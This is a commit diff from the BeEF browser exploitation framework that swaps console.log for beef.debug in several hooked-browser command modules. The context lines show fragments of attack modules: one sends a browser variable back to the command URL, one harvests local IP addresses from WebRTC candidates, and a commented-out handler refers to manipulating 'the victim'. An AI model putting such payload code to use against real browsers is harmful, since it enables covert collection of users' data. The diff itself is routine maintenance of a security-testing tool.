Replace 'console.log' with 'beef.debug'
This commit is contained in:
@@ -14,7 +14,7 @@ beef.execute(function() {
|
||||
var curl = "<%= @command_url %>";
|
||||
var cid = "<%= @command_id %>";
|
||||
|
||||
console.log("The current value of " + payload + " is " + Window[payload]);
|
||||
beef.debug("The current value of " + payload + " is " + Window[payload]);
|
||||
beef.net.send(curl, parseInt(cid),'get_variable=true');
|
||||
|
||||
});
|
||||
|
||||
@@ -23,7 +23,7 @@ beef.execute(function() {
|
||||
// Grep the SDP data for IP address data
|
||||
rtc.onicecandidate = function (evt) {
|
||||
if (evt.candidate){
|
||||
console.log("a="+evt.candidate.candidate);
|
||||
beef.debug("a="+evt.candidate.candidate);
|
||||
grepSDP("a="+evt.candidate.candidate);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -79,7 +79,7 @@ beef.execute(function() {
|
||||
// The keypress focus is on the popunder, but the following would be nice to have to force the victim to press TAB
|
||||
// var tab_pressed = false;
|
||||
// function checkTabPressed(){
|
||||
// console.log(event.keyCode);
|
||||
// beef.debug(event.keyCode);
|
||||
// if(tab_pressed && event.keyCode != 9){
|
||||
// // all good
|
||||
// }else if(event.keyCode == 9){
|
||||
|
||||
Reference in New Issue
Block a user